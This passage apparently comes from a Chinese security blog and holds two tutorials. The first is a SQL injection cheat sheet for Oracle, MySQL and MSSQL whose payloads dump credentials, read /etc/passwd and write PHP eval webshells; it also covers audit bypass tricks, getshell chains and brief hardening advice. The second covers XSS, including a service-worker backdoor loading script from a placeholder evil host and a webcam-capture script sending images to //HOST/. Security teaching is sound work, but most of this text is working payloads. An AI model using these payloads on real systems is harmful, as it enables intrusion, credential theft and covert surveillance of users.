    2. 有过滤,搞绕过
  4. 盲注类

4.2 常用语句

p4

数据库 语句(大多需要配合编码)
Oracle oder by N
# 爆出第一个数据库名
and 1=2 union select 1,2,(select banner from sys.v_ where rownum=1),4,5,6 from dual
# 依次爆出所有数据库名,假设第一个库名为first_dbname
and 1=2 union select 1,2,(select owner from all_tables where rownum=1 and owner<>'first_dbname'),4,5,6 from dual
爆出表名
and 1=2 union select 1,2,(select table_name from user_tables where rownum=1),4,5,6 from dual
同理,同爆出下一个数据库类似爆出下一个表名就不说了,但是必须注意表名用大写或者表名大写的十六进制代码。
有时候我们只想要某个数据库中含密码字段的表名,采用模糊查询语句,如下:
and (select column_name from user_tab_columns where column_name like '%25pass%25')<0
爆出表tablename中的第一个字段名
and 1=2 union select 1,2,(select column_name from user_tab_columns where table_name='tablename' and rownum=1),4,5,6 from dual
依次下一个字段名
and 1=2 union select 1,2,(select column_name from user_tab_columns where table_name='tablename' and column_name<>'first_col_name' and rownum=1),4,5,6 from dual

若为基于时间或者基于bool类型盲注,可结合substr 、ASCII进行赋值盲测。
若屏蔽关键函数,可尝试SYS_CONTEXT('USERENV','CURRENT_USER')类用法。

Mysql #正常语句
192.168.192.128/sqltest/news.php?id=1
#判断存在注入否
192.168.192.128/sqltest/news.php?id=1 and 1=2
#确定字段数 order by
192.168.192.128/sqltest/news.php?id=-1 order by 3
#测试回显字段
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,3
#测试字段内容
192.168.192.128/sqltest/news.php?id=-1 union select 1,user(),3
192.168.192.128/sqltest/news.php?id=-1 union select 1,group_concat(user(),0x5e5e,version(),0x5e5e,database(),0x5e5e,@@basedir),3
#查询当前库下所有表
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
#查询admin表下的字段名(16进制)
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x61646d696e
#查询admin表下的用户名密码
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(name,0x5e,pass) from admin
#读取系统文件(/etc/passwd,需转换为16进制)
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,load_file(0x2f6574632f706173737764)
#文件写入
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile '/var/www/html/1.php'--
PS:若权限不足,换个目录
MSSQL PS:回显型请查阅参考资料的链接,这里主要盲注的语法。
#爆数据库版本(可先测长度)
aspx?c=c1'/**/and/**/ascii(substring(@@version,1,1))=67/**/--&t=0
ps:在范围界定时,可利用二分查找结合大于小于来利用;亦可直接赋值脚本爆破,依次类推直至最后一字母。
#爆当前数据库名字
aspx?c=c1'/**/and/**/ascii(substring(db_name(),1,1))>200/**/--&t=0
#爆表
aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1 name/**/from/**/dbname.sys.all_objects where type='U'/**/AND/**/is_ms_shipped=0),1,1))>0/**/--&t=0
#爆user表内字段
aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/ 1/**/COLUMN_NAME from/**/dbname.information_schema.columns/**/where/** /TABLE_NAME='user'),1,1))>0/**/--&t=0
#爆数据
aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1/**/fPwd/**/from/**/User),1,1))>0/**/--&t=0

PS:关于注入绕过(bypass),内容偏多、过细,本次暂不归纳。单独一篇

0x05 漏洞挖掘


5.1 黑盒测试

套装组合

  1. AWVS类 + sqlmap (手工)
  2. Burp + sqlmapAPI(手工)

p5

减少体力活的工程化

5.2 代码审计

白盒的方式有两种流,一种是检查所有输入,另一种是根据危险函数反向

注入引发的特征点及敏感函数

NO. 概要
1 $_SERVER未转义
2 更新时未重构更新序列
3 使用了一个未定义的常量
4 PHP自编标签与strip_tags顺序逻辑绕过
5 可控变量进入双引号
6 宽字节转编码过程
7 mysql多表查询绕过
8 别名as+反引号可闭合其后语句
9 mysql的类型强制转换
10 过滤条件是否有if判断进入
11 全局过滤存在白名单
12 字符串截断函数获取定长数据
13 括号包裹绕过
14 弱类型验证机制
15 WAF或者过滤了and|or的情况可以使用&&与||进行盲注。
16 windows下php中访问文件名使用”<” “>”将会被替换成”*” “?”
17 二次urldecode注入
18 逻辑引用二次注入

1.$_SERVER[‘PHP_SELF’]和$_SERVER[‘QUERY_STRING’],而$_SERVER并没有转义,造成了注入。

2.update更新时没有重构更新序列,导致更新其他关键字段(金钱、权限)

p6

p7

p8

3.在 php中 如果使用了一个未定义的常量,PHP 假定想要的是该常量本身的名字,如同用字符串调用它一样(CONSTANT 对应 “CONSTANT”)。此时将发出一个 E_NOTICE 级的错误(参考http://php.net/manual/zh/language.constants.syntax.php

4.PHP中自编写对标签的过滤或关键字过滤,应放在strip_tags等去除函数之后,否则引起过滤绕过。

<?php 
function mystrip_tags($string)
{
    $string = remove_xss($string);
    $string = new_html_special_chars($string);
    $string = strip_tags($string);//remove_xss在strip_tags之前调用,所以很明显可以利用strip_tags函数绕过,在关键字中插入html标记.
    return $string;
}
?>

p9

5.当可控变量进入双引号中时可形成webshell因此代码执行使用,${file_put_contents($_GET[f],$_GET[p])}可以生成webshell。

p10

6.宽字节转编码过程中出现宽字节注入

PHP连接MySQL时设置set character_set_client=gbk ,MySQL服务器对查询语句进行GBK转码导致反斜杠\%df吃掉。

7.构造查询语句时无法删除目标表中不存在字段时可使用mysql多表查询绕过

select uid,password from users,admins;
(uid存在于users、password存在于admins)

p11

8.mysql中(反引号)能作为注释符,且会自动闭合末尾没有闭合的反引号。无法使用注释符的情况下使用别名as+反引号可闭合其后语句。

9.mysql的类型强制转换可绕过PHP中empty()函数对0的false返回

提交/?test=0axxx  ->  empty($_GET['test'])  =>  返回真

但是mysql中提交其0axxx到数字型时强制转换成数字0

p12

10.存在全局过滤时观察过滤条件是否有if判断进入,cms可能存在自定义safekey不启用全局过滤。通过程序遗留或者原有界面输出safekey导致绕过。

if($config['sy_istemplate']!='1' || md5(md5($config['sy_safekey']).$_GET['m'])!=$_POST['safekey'])
{
foreach($_POST as $id=>$v){
safesql($id,$v,"POST",$config);
$id = sfkeyword($id,$config);
$v = sfkeyword($v,$config);
$_POST[$id]=common_htmlspecialchars($v);
}
}

11.由于全局过滤存在白名单限定功能,可使用无用参数带入绕过。

$webscan_white_directory='admin|\/dede\/|\/install\/';

请求中包含了白名单参数所以放行。

http://www.target.com/index.php/dede/?m=foo&c=bar&id=1' and 1=2 union select xxx

12.字符串截断函数获取定长数据,截取\\\’前一位,闭合语句。

利用条件必须是存在两个可控参数,前闭合,后注入。

13.过滤了空格,逗号的注入,可使用括号包裹绕过。具体如遇到select from(关键字空格判断的正则,且剔除/**/等)可使用括号包裹查询字段绕过。

14.由于PHP弱类型验证机制,导致==in_array()等可通过强制转换绕过验证。

p13

15.WAF或者过滤了and|or的情况可以使用&&与||进行盲注。

http://demo.74cms.com/user/user_invited.php?id=1%20||%20strcmp(substr(user(),1,13),char(114,111,111,116,64,108,111,99,97,108,104,111,115,116))&act=invited

16.windows下php中访问文件名使用”<” “>”将会被替换成”*” “?”,分别代表N个任意字符与1个任意字符。

file_get_contents("/images/".$_GET['a'].".jpg");

可使用test.php?a=../a<%00访问对应php文件。

17.使用了urldecode 或者rawurldecode函数,则会导致二次解码声场单引号而发生注入。

<?php
$a=addslashes($_GET['p']);
$b=urldecode($a);
echo '$a=' .$a;
echo '<br />';
echo '$b=' .$b;
?>

p14

18.逻辑引用,导致二次注入

部分盲点

盲点如下:

  1. 注入点类似id=1这种整型的参数就会完全无视GPC的过滤;
  2. 注入点包含键值对的,那么这里只检测了value,对key的过滤就没有防护;
  3. 有时候全局的过滤只过滤掉GET、POST和COOKIE,但是没过滤SERVER。

附常见的SERVER变量(具体含义自行百度):

QUERY_STRING,X_FORWARDED_FOR,CLIENT_IP,HTTP_HOST,ACCEPT_LANGUAGE

PS:若对注入的代码审计有实际操类演练,参考白帽子分享之代码审计的艺术系列HackBraid@301在路上

0x06 安全加固


6.1 源码加固

1.预编译处理

参数化查询是指在设计与数据库链接并访问数据时,在需要填入数值或数据的地方,使用参数来给值。在SQL语句中,这些参数通常一占位符来表示。

MSSQL(ASP.NET)

为了提高sql执行速度,请为SqlParameter参数加上SqlDbType和size属性

SqlConnection conn = new SqlConnection("server=(local)\\SQL2005;user id=sa;pwd=12345;initial catalog=TestDb");
conn.Open();
SqlCommand cmd = new SqlCommand("SELECT TOP 1 * FROM [User] WHERE UserName = @UserName AND Password = @Password");
cmd.Connection = conn;
cmd.Parameters.AddWithValue("UserName", "user01");
cmd.Parameters.AddWithValue("Password", "123456");

reader = cmd.ExecuteReader();
reader.Read();
int userId = reader.GetInt32(0);

reader.Close();
conn.Close();

PHP

// 实例化数据抽象层对象
$db = new PDO('pgsql:host=127.0.0.1;port=5432;dbname=testdb');
// 对 SQL 语句执行 prepare,得到 PDOStatement 对象
$stmt = $db->prepare('SELECT * FROM "myTable" WHERE "id" = :id AND "is_valid" = :is_valid');
// 绑定参数
$stmt->bindValue(':id', $id);
$stmt->bindValue(':is_valid', true);
// 查询
$stmt->execute();
// 获取数据
foreach($stmt as $row) {
var_dump($row);
}

JAVA

java.sql.PreparedStatement prep = connection.prepareStatement(
"SELECT * FROM `users` WHERE USERNAME = ? AND PASSWORD = ?");
prep.setString(1, username);
prep.setString(2, password);
prep.executeQuery();

PS:尽管SQL语句大体相似,但是在不同数据库的特点,可能参数化SQL语句不同,例如在Access中参数化SQL语句是在参数直接以“?”作为参数名,在SQL Server中是参数有“@”前缀,在MySQL中是参数有“?”前缀,在Oracle中参数以“:”为前缀。

2.过滤函数的使用

  1. addslashes()
  2. mysql_escape_string()
  3. mysql_real_escape_string()
  4. intval()

3.框架及第三方过滤函数与类

  1. JAVA hibernate框架
  2. Others

6.2 产品加固

  • Web应用防火墙——WAF
  • Key:云waf、安全狗、云锁、sqlchop

0x07 关联应用


7.1 Getshell

  1. 注入,查数据,找管理员密码,进后台,找上传,看返回,getshell
  2. PHP MYSQL 类,大权限,知路径,传文件,回shell(上传&命令执行),OS-SHELL。
  3. MSSQL大权限,知路径,传文件,回shell。结合xp_cmdshell 执行系统命令。
  4. Phpmyadmin getshell (编码)
    1. select '<?eval($_POST[cmd]);?>' into outfile 'd:/wwwroot/1.php';
  5. Union select getshell
    1. and 1=2 union select 0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile '/alidata/www/cms/ttbdxt/conf.php'--

7.2 关联功能点

序号 功能点 参数
1 登录 Username password
2 Header Cookie Referer x-forward remote-ip
3 查询展示 , 数据写入(表单) , 数据更新 id u category price str value
4 数据搜素 Key
5 伪静态 (同3),加*
6 Mysql不安全配置 , Set character_set_client=gbk %df%27
7 传参(横向数据流向、纵向入库流向) Parameter (同3)
8 订单类多级交互、重新编辑 , 配送地址、资料编辑 二次注入
9 APP仍调用WEB API 同3
10 编码urldecode base64 Urldecode() rawurldecode()

0x08 参考资料


新型XSS总结两则

$
0
0

0x00 简介


近期看到了两种XSS攻击手法:一种是利用JSONP和serviceWorkers的持久性XSS,一种是移动设备中的XSS,学习后总结一下,同时也请高手多多指点。

0x01 基于JSONP和serviceWorkers的持久性XSS


对于Web攻击者来说,通常都渴望在未知用户浏览器具体类型的情况下,仍然能够顺利通过它来访问网站。甚至在浏览器被关闭,再次访问时要挂钩的回话也没有了的情况下,依旧可以访问网站,那该多好啊!实际上,这不仅是说说而已,如果联合利用未被过滤的JSONP路由、serviceWorkers和XSS的话,完全可以为网站打造一个持久性后门。

1 ServiceWorker简介

ServiceWorkers是一种较为新颖的web技术,它可以用来拦截web请求。实际上,这种技术本意在于实现网站的离线运行。ServiceWorkers可用于拦截web请求,并返回一个缓存版本,这样的话即使在离线的状态下,网站仍然处于可用状态。。

关于ServiceWorkers的具体介绍,请参考https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers页面。

说到底,就是写一个脚本,拦截用到onfetch处理程序的web请求,然后检查是否具有相应的内容。如果有的话,将这些内容返回,否则的话,建立相应的web请求,并将返回的内容缓存起来。

p1

2 ServiceWorkers的滥用

实际上,在ServiceWorkers的帮助下,我们是可以返回任意内容的。

例如:

this.addEventListener('fetch', function(event) {
   event.respondWith(new Response("
<h1> Intercepted!</h1>
"));
});

这种能力有可能被攻击者滥用。想象一下,如果你请求了一项内容,然后将它修改之后再返回,后果会怎么样?

<html>
<body>
.....

<script src="https://evil.endpoint/backdoor.js</script> //---- Parse and inject arbitrary script here without the user knowing

</body>

</html>

这样以来,你就可以在每个请求后面追加上自己的脚本,但是用户却毫无察觉。也就是说,所有经过缓存层的内容都已经过了某种过滤。

3 JSONP终点

当然,ServiceWorkers自身也有一定的局限性,即只能安装到与请求资源相同的域中。

这就意味着,要将一个serviceWorker安装到c0nrad.io的话,需要像下面这样来注册该serviceWorker:

navigator.serviceWorker.register('https://c0nrad.io/backGroundScript.js')

但,请不要忘了:未经过滤的JSONP终点(endpoint)!JSONP表示带有填充的JSON,不过JSONP通常都要用到一个查询参数,并将javascript数据打包到一个函数中。

/jsonp?callback=myAwesomeFunction returns:

var calculatedDataOrSomething = { "hello": 1 }; myAwesomeFunction(1);`

这不仅给开发人员带来了便利,同时也给绕过SOP打开了方便之门:你可以从一个远程域而非JSON来下载javascript。

如果该JSONP未经过滤的话,你就能够返回任意的javascript代码了。

下面进行举例说明:

<script src="/jsonp?callback=(code that waits for fetch, and inserts <script src="evil.com/backdoor.js"> into each web request)">

之后,如果你将该service worker注册为使用这个JSONP终点的话,serviceWorker工厂自然没意见。

4 完整的攻击流程

  1. 创建最终的有效载荷(窃取电子邮件、监视网络账户等)
  2. 使用JSONP启动有效载荷
  3. 利用XSS将有效载荷注入受害者机器
  4. 获取持久性访问权限具体案例

攻击者通常利用这种手法维护持久性的访问权限,以及抓取信息。最受青睐的攻击目标通常是电子邮件、社交媒体以及私人公司网站。所有正常用户所能够做的事情,攻击者也照样能够享有同样的权限。

当然这种攻击手段也可用于攻击银行,不过如果你已经进行了XSS的,通常就不必使用这种攻击手法了。这种手法通常只是用来实现持久性。

5 防御对策

  1. 过滤JSONP终点。只允许数字字母、句号和破折号。
  2. 消除XSS漏洞。

0x03 移动设备中的XSS


由于主流浏览器的移动版与桌面版非常类似,所以,通常所有HTML5中的东西都可以很好地运行在这些移动浏览器中。不过,也有些东西是这些平台所特有的,部分正好可以用来发动XSS攻击。首先,让我们来了解一下HTML事件处理程序。

当移动设备的屏幕模式在横屏与竖屏之间切换时,就会引发文档主体中的orientationchange事件。

<body onorientationchange=alert(orientation)>

它会显示屏幕切换后的旋转度数。

但是对于移动设备来说,最主要的还是触摸事件,这些事件几乎接受任意类型的标签,例如鼠标事件等。但是,当利用<html>来触发它们时,一个重要的区别在于它会覆盖整个浏览器屏幕。虽然该标签也可以用于鼠标事件,但是每当鼠标移动时它就会频繁触发该事件,这一点非常让人头疼。

<html ontouchstart=alert(1)>
<html ontouchend=alert(1)>
<html ontouchmove=alert(1)>
<html ontouchcancel=alert(1)>

除了事件之外,还可以通过Navigator API(应用程序接口)搞到特定设备的相关数据。除了最后介绍的振动数据之外,其他的同样适用于笔记本。例如,下面的数据,通过了解受害人使用哪种类型的互联网连接,对于攻击者发动更全面的攻击非常有帮助:

<svg onload=alert(navigator.connection.type)>

下列代码(适用于Firefox)可以获取设备的电量数据:

<svg onload=alert(navigator.battery.level)>
<svg onload=alert(navigator.battery.dischargingTime)>
<svg onload=alert(navigator.battery.charging)>

了解电池的剩余电量,在耗尽电池剩余电量来迫使某人离线时非常有用。借助于连接类型,就可以知道受害者使用的是WI-FI连接还是蜂窝网络。通过了解网速的变化,甚至可以推断出受害者的位置(如是否远离房间),这些信息对于进一步的攻击是很有用的。

p2

如果能够获得被害者精确位置就更好了,为此,可以借助于地理定位属性:

<script>
navigator.geolocation.getCurrentPosition(function(p){
alert('Latitude:'+p.coords.latitude+',Longitude:'+
p.coords.longitude+',Altitude:'+p.coords.altitude);})
</script>
(remember to change “+” for “%2B” in URLs)

不过,上述代码需要受害者的相关授权。

如果我们有受害者的授权的话,甚至可以对相机进行截图,并发送到服务器(下列脚本适用于Chrome):

<script>
d=document;
v=d.createElement(‘video’);
c=d.createElement(‘canvas’);
c.width=640;
c.height=480;
navigator.webkitGetUserMedia({‘video’:true},function(s){
v.src=URL.createObjectURL(s);v.play()},function(){});
c2=c.getContext(‘2d’);
x=’c2.drawImage(v,0,0,640,480);fetch(“//HOST/”+c2.canvas.toDataURL())‘;
setInterval(x,5000);
</script>

p3

受害者的截屏经编码后存放在服务器的日志中

若想利用自己的相机进行测试,只需要用下列代码替换掉上面的fetch(“//HOST/”+c2.canvas.toDataURL())‘;即可:

open(c2.canvas.toDataURL())

每隔5秒截屏一次。

对于手机来说,最激动人心的PoC非震动功能莫属:

<svg onload=navigator.vibrate(500)>
<svg onload=navigator.vibrate([500,300,100])>

如果你的手机启用了震动模式,可以点击链接来体验一把XSS演示(适用于Firefox浏览器)。

第一个示例中的数字是指振动的毫秒数。在第二个示例中,表示先震动500毫秒,间隔300毫秒,再震动100毫秒。

由于这是一个发展迅猛的领域,所以一些涉及手机的API会被淘汰,同时,对于移动设备的支持也会因浏览器的不同而有所差异。所以,了解它们的最佳方法就是参考类似Mozilla等浏览器的官方文档。

0x04 小结


本文中,我们总结了两种XSS技术,希望大家能够喜欢。

0x05 引用


Viewing all 21 articles
Browse latest View live